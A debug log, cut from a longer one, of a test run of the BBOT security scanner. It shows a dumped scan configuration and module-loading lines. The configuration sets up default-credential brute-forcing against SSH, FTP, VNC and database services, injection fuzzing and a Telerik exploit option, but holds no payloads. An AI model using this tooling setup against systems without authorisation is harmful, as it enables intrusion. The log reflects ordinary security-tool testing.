'http_retries': 1, 'httpx_retries': 1, '429_sleep_interval': 30, '429_max_sleep_interval': 60, 'debug': False, 'http_max_redirects': 5, 'ssl_verify': False}, 'engine': {'debug': True}, 'deps': {'ffuf': {'version': '2.1.0'}, 'behavior': 'retry_failed'}, 'module_dirs': [], 'module_handle_event_timeout': 3600, 'module_handle_batch_timeout': 7200, 'speculate': False, 'excavate': False, 'aggregate': False, 'dnsresolve': True, 'cloudcheck': False, 'url_querystring_remove': True, 'url_querystring_collapse': True, 'url_extension_blacklist': ['png', 'jpg', 'bmp', 'ico', 'jpeg', 'gif', 'svg', 'webp', 'css', 'woff', 'woff2', 'ttf', 'eot', 'sass', 'scss', 'mp3', 'm4a', 'wav', 'flac', 'mp4', 'mkv', 'avi', 'wmv', 'mov', 'flv', 'webm'], 'url_extension_special': ['js'], 'url_extension_static': ['pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'txt', 'csv', 'xml', 'yaml', 'ini', 'log', 'conf', 'cfg', 'env', 'md', 'rtf', 'tiff', 'bmp', 'jpg', 'jpeg', 'png', 'gif', 'svg', 'ico', 'mp3', 'wav', 'flac', 'mp4', 'mov', 'avi', 'mkv', 'webm', 'zip', 'tar', 'gz', 'bz2', '7z', 'rar'], 'parameter_blacklist': ['__VIEWSTATE', '__EVENTARGUMENT', '__EVENTVALIDATION', '__EVENTTARGET', '__EVENTARGUMENT', '__VIEWSTATEGENERATOR', '__SCROLLPOSITIONY', '__SCROLLPOSITIONX', 'ASP.NET_SessionId', 'PHPSESSID', '__cf_bm', 'f5_cspm'], 'parameter_blacklist_prefixes': ['TS01', 'BIGipServer', 'incap_', 'visid_incap_', 'AWSALB', 'utm_', 'ApplicationGatewayAffinity', 'JSESSIONID', 'ARRAffinity'], 'omit_event_types': [], 'interactsh_server': None, 'interactsh_disable': False, 'modules': {'massdns': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/deepmagic.com-prefixes-top500.txt'}, 'ffuf': {'prefix_busting': True, 'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt', 'lines': 5000, 'max_depth': 0, 'extensions': '', 'ignore_case': False, 'rate': 0}, 'http': {'url': '', 'bearer': '', 'method': 'POST', 'timeout': 10, 'siem_friendly': False}, 'websocket': {'url': '', 'preserve_graph': True, 'ignore_ssl': False}, 'lightfuzz': {'force_common_headers': False, 'enabled_submodules': ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi'], 'disable_post': False, 'try_post_as_get': False, 'try_get_as_post': False, 'avoid_wafs': True}, 'aggregate': {}, 'cloudcheck': {}, 'excavate': {'yara_max_match_data': 2000, 'custom_yara_rules': '', 'speculate_params': False}, 'speculate': {'max_hosts': 65536, 'ports': '80,443', 'essential_only': False}, 'unarchive': {}, 'dnsresolve': {}, 'asn': {}, 'affiliates': {}, 'legba': {'ssh_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt', 'ftp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt', 'telnet_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/telnet-betterdefaultpasslist.txt', 'vnc_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt', 'mssql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt', 'mysql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt', 'postgresql_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/postgres-betterdefaultpasslist.txt', 'concurrency': 3, 'rate_limit': 3, 'version': '1.1.1'}, 'urlscan': {'urls': False}, 'jadx': {'threads': 4}, 'trufflehog': {'version': '3.90.8', 'config': '', 'only_verified': True, 'concurrency': 8, 'deleted_forks': False}, 'host_header': {}, 'securitytxt': {'emails': True, 'urls': True}, 'dnsdumpster': {}, 'bevigil': {'urls': False}, 'bucket_google': {'permutations': False}, 'git': {}, 'azure_realm': {}, 'extractous': {'extensions': ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']}, 'credshed': {'credshed_url': ''}, 'fullhunt': {}, 'social': {}, 'pgp': {'search_urls': ['https://keyserver.ubuntu.com/pks/lookup?fingerprint=on&op=vindex&search=', 'http://the.earth.li:11371/pks/lookup?fingerprint=on&op=vindex&search=', 'https://pgpkeys.eu/pks/lookup?search=&op=index', 'https://pgp.mit.edu/pks/lookup?search=&op=index']}, 'azure_tenant': {}, 'virustotal': {}, 'vhost': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'force_basehost': '', 'lines': 5000}, 'shodan_enterprise': {}, 'dnsbrute': {'wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt', 'max_depth': 5}, 'shodan_dns': {}, 'ip2location': {'lang': ''}, 'rapiddns': {}, 'wpscan': {'enumerate': 'vp,vt,cb,dbe', 'threads': 5, 'request_timeout': 5, 'connection_timeout': 2, 'disable_tls_checks': True, 'force': False}, 'dnscommonsrv': {'max_depth': 2}, 'passivetotal': {}, 'ntlm': {'try_all': False}, 'trickest': {}, 'google_playstore': {}, 'github_usersearch': {}, 'subdomainradar': {'group': 'fast', 'timeout': 120}, 'dockerhub': {}, 'medusa': {'snmp_wordlist': 'https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt', 'snmp_versions': ['1', '2C'], 'wait_microseconds': 200, 'timeout_s': 5, 'threads': 5}, 'digitorus': {}, 'wafw00f': {'generic_detect': True}, 'generic_ssrf': {'skip_dns_interaction': False}, 'filedownload': {'extensions': ['bak', 'bash', 'bashrc', 'cfg', 'conf', 'crt', 'csv', 'db', 'dll', 'doc', 'docx', 'exe', 'ica', 'indd', 'ini', 'jar', 'json', 'key', 'log', 'markdown', 'md', 'msi', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'pub', 'raw', 'rdp', 'rsa', 'sh', 'sql', 'sqlite', 'swp', 'sxw', 'tar.gz', 'tgz', 'tar', 'txt', 'vbs', 'war', 'wpd', 'xls', 'xlsx', 'xml', 'yaml', 'yml', 'zip', 'lzma', 'rar', '7z', 'xz', 'bz2'], 'max_filesize': '10MB', 'output_folder': ''}, 'chaos': {}, 'httpx': {'threads': 50, 'in_scope_only': True, 'version': '1.2.5', 'max_response_size': 5242880, 'store_responses': False, 'probe_all_ips': False}, 'baddns_zone': {'custom_nameservers': [], 'only_high_confidence': False}, 'graphql_introspection': {'graphql_endpoint_urls': ['/', '/graphql', '/v1/graphql'], 'output_folder': ''}, 'paramminer_headers': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'securitytrails': {}, 'bucket_microsoft': {'permutations': False}, 'viewdns': {}, 'url_manipulation': {'allow_redirects': True}, 'ffuf_shortnames': {'wordlist_extensions': '', 'max_depth': 1, 'version': '2.0.0', 'extensions': '', 'ignore_redirects': True, 'find_common_prefixes': False, 'find_delimiters': True, 'find_subwords': False, 'max_predictions': 250, 'rate': 0}, 'censys_ip': {'dns_names_limit': 100, 'in_scope_only': True}, 'builtwith': {'redirects': True}, 'certspotter': {}, 'sslcert': {'timeout': 5.0, 'skip_non_ssl': True}, 'gitdumper': {'output_folder': '', 'fuzz_tags': False, 'max_semanic_version': 10}, 'shodan_idb': {'retries': None}, 'hackertarget': {}, 'c99': {}, 'newsletters': {}, 'apkpure': {'output_folder': ''}, 'crt': {}, 'postman_download': {'output_folder': ''}, 'hunt': {}, 'dnsbrute_mutations': {'max_mutations': 100}, 'bucket_firebase': {'permutations': False}, 'nuclei': {'version': '3.7.0', 'tags': '', 'templates': '', 'severity': '', 'ratelimit': 150, 'concurrency': 25, 'mode': 'manual', 'etags': '', 'budget': 1, 'silent': False, 'directory_only': True, 'retries': 0, 'batch_size': 200, 'module_timeout': 21600}, 'censys_dns': {'max_pages': 5}, 'retirejs': {'version': '5.3.0', 'node_version': '18.19.1', 'severity': 'medium'}, 'git_clone': {'output_folder': ''}, 'bucket_amazon': {'permutations': False}, 'bucket_digitalocean': {'permutations': False}, 'skymem': {}, 'hunterio': {}, 'paramminer_cookies': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'postman': {}, 'code_repository': {}, 'gitlab_com': {}, 'dnstlsrpt': {'emit_emails': True, 'emit_raw_dns_records': False, 'emit_urls': True}, 'baddns': {'custom_nameservers': [], 'only_high_confidence': False, 'enabled_submodules': []}, 'subdomaincenter': {}, 'wayback': {'urls': False, 'garbage_threshold': 10}, 'ipstack': {}, 'emailformat': {}, 'fingerprintx': {'version': '1.1.4', 'skip_common_web': True}, 'dnscaa': {'in_scope_only': True, 'dns_names': True, 'emails': True, 'urls': True}, 'bypass403': {}, 'leakix': {}, 'paramminer_getparams': {'wordlist': '', 'recycle_words': False, 'skip_boring_words': True}, 'reflected_parameters': {}, 'crt_db': {}, 'bucket_file_enum': {'file_limit': 50}, 'portscan': {'top_ports': 100, 'ports': '', 'rate': 300, 'wait': 5, 'ping_first': False, 'ping_only': False, 'adapter': '', 'adapter_ip': '', 'adapter_mac': '', 'router_mac': '', 'module_timeout': 259200}, 'baddns_direct': {'custom_nameservers': []}, 'ajaxpro': {}, 'telerik': {'exploit_RAU_crypto': False, 'include_subdirs': False}, 'dnsbimi': {'emit_raw_dns_records': False, 'emit_urls': True, 'selectors': 'default,email,mail,bimi'}, 'aspnet_bin_exposure': {}, 'otx': {}, 'github_codesearch': {'limit': 100}, 'dehashed': {}, 'gowitness': {'version': '3.0.5', 'threads': 0, 'timeout': 10, 'resolution_x': 1440, 'resolution_y': 900, 'output_path': '', 'social': False, 'idle_timeout': 1800, 'chrome_path': ''}, 'docker_pull': {'all_tags': False, 'output_folder': ''}, 'ipneighbor': {'num_bits': 4}, 'bufferoverrun': {'commercial': False}, 'gitlab_onprem': {}, 'iis_shortnames': {'detect_only': True, 'max_node_count': 50, 'speculate_magic_urls': True}, 'badsecrets': {}, 'myssl': {}, 'github_workflows': {'num_logs': 1, 'output_folder': ''}, 'dotnetnuke': {}, 'smuggler': {}, 'robots': {'include_sitemap': False, 'include_allow': True, 'include_disallow': True}, 'anubisdb': {'limit': 1000}, 'oauth': {'try_all': False}, 'github_org': {'include_members': True, 'include_member_repos': False}, 'portfilter': {'cdn_tags': 'cdn-', 'allowed_cdn_ports': '80,443'}, 'sitedossier': {}, 'web_parameters': {'output_file': '', 'include_count': False}, 'discord': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'emails': {'output_file': ''}, 'teams': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'txt': {'output_file': ''}, 'neo4j': {'uri': 'bolt://localhost:7687'}, 'asset_inventory': {'output_file': '', 'use_previous': False, 'recheck': False, 'summary_netmask': 16}, 'sqlite': {'database': ''}, 'web_report': {'output_file': '', 'css_theme_file': 'https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css'}, 'csv': {'output_file': ''}, 'postgres': {'host': 'localhost', 'port': 5432, 'database': 'bbot'}, 'python': {}, 'subdomains': {'output_file': '', 'include_unresolved': False}, 'stdout': {'format': 'text', 'event_types': [], 'event_fields': [], 'in_scope_only': False, 'accept_dupes': True}, 'nmap_xml': {}, 'json': {'output_file': '', 'siem_friendly': False}, 'slack': {'webhook_url': '', 'event_types': ['VULNERABILITY', 'FINDING'], 'min_severity': 'LOW', 'retries': 10}, 'splunk': {'url': '', 'index': '', 'source': '', 'timeout': 10}, 'mysql': {'host': 'localhost', 'port': 3306, 'database': 'bbot'}}, 'agent_url': 'ws://127.0.0.1:8765', 'debug': True}, 'modules': ['shodan_enterprise'], 'output_modules': ['python'], 'scan_name': 'testshodan_enterprise_test_slcbmhl9bw'}, 'started_at': '2026-02-27T21:31:27.598455', 'finished_at': '2026-02-27T21:31:28.219866', 'duration_seconds': 0.621411, 'duration': '0 seconds', 'status': 'FINISHED'} -2026-02-27 21:31:28,407 [CRITICAL] bbot test_module_shodan_enterprise.py:25 set() -2026-02-27 21:31:28,407 [CRITICAL] bbot test_module_shodan_enterprise.py:27 SCAN("{'id': 'SCAN:9effd5b32aeae66391cbaa01a8d08e7321347b53', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 21:31:28,409 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-02-27 21:31:28,410 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-02-27 21:38:37,382 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 21:38:37,395 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 21:38:37,396 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 21:38:37,397 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 21:38:37,398 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 21:38:37,399 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 21:38:37,400 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 21:38:37,401 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 21:38:37,403 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 21:38:37,403 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 21:38:37,405 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 21:38:37,406 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 21:38:37,407 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 21:38:37,449 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 21:38:37,458 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 21:38:37,460 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 21:38:37,461 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 21:38:37,462 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 21:38:37,464 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 21:38:37,466 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 21:38:37,479 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 21:38:37,482 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 21:38:37,483 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 21:38:37,485 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 21:38:37,486 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 21:38:37,487 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 21:38:37,489 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 21:38:37,490 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 21:38:37,491 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 21:38:37,493 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 21:38:37,494 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 21:38:37,495 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 21:38:37,496 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 21:38:37,497 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 21:38:37,498 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 21:38:37,500 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 21:38:37,501 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 21:38:37,502 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 21:38:37,503 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 21:38:37,504 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 21:38:37,505 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 21:38:37,506 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 21:38:37,507 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 21:38:37,508 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 21:38:37,514 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 21:38:37,516 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 21:38:37,517 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 21:38:37,518 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 21:38:37,520 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 21:38:37,521 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 21:38:37,522 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 21:38:37,523 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 21:38:37,524 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 21:38:37,525 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 21:38:37,526 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 21:38:37,527 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 21:38:37,528 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 21:38:37,529 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 21:38:37,530 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 21:38:37,531 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 21:38:37,532 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 21:38:37,533 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 21:38:37,534 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 21:38:37,535 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 21:38:37,537 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 21:38:37,537 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 21:38:37,539 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 21:38:37,540 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 21:38:37,541 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 21:38:37,541 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 21:38:37,549 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 21:38:37,551 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 21:38:37,552 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 21:38:37,553 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 21:38:37,555 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 21:38:37,556 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 21:38:37,557 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 21:38:37,558 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 21:38:37,559 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 21:38:37,559 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 21:38:37,561 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 21:38:37,562 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 21:38:37,563 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 21:38:37,565 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 21:38:37,566 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 21:38:37,567 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 21:38:37,569 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 21:38:37,569 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 21:38:37,570 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 21:38:37,571 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 21:38:37,572 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 21:38:37,573 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 21:38:37,574 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 21:38:37,574 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 21:38:37,576 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 21:38:37,576 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 21:38:37,577 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 21:38:37,579 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 21:38:37,580 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 21:38:37,582 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 21:38:37,583 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 21:38:37,584 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 21:38:37,585 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 21:38:37,586 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 21:38:37,587 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 21:38:37,588 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 21:38:37,588 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 21:38:37,589 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 21:38:37,590 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 21:38:37,591 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 21:38:37,592 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 21:38:37,593 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 21:38:37,594 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 21:38:37,595 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 21:38:37,595 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 21:38:37,596 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 21:38:37,598 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 21:38:37,599 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 21:38:37,600 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 21:38:37,601 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 21:38:37,602 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 21:38:37,603 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 21:38:37,604 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 21:38:37,605 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 21:38:37,606 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 21:38:37,607 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 21:38:37,608 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 21:38:37,609 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 21:38:37,610 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 21:38:37,610 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 21:38:37,611 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 21:38:37,612 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 21:38:37,614 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 21:38:37,616 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 21:38:37,617 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 21:38:37,618 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 21:38:37,619 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 21:38:37,620 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 21:38:37,621 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 21:38:37,622 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 21:38:37,623 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 21:38:37,623 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 21:38:37,624 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 21:38:37,625 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 21:38:37,626 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 21:38:37,627 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 21:38:37,628 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 21:38:37,629 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 21:38:37,629 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 21:38:37,630 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 21:38:37,631 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 21:38:37,632 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 21:38:37,633 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 21:38:37,634 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 21:38:37,635 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 21:38:37,636 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 21:38:37,637 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 21:38:37,639 [DEBUG] bbot.module_loader modules.py:351 Skipping 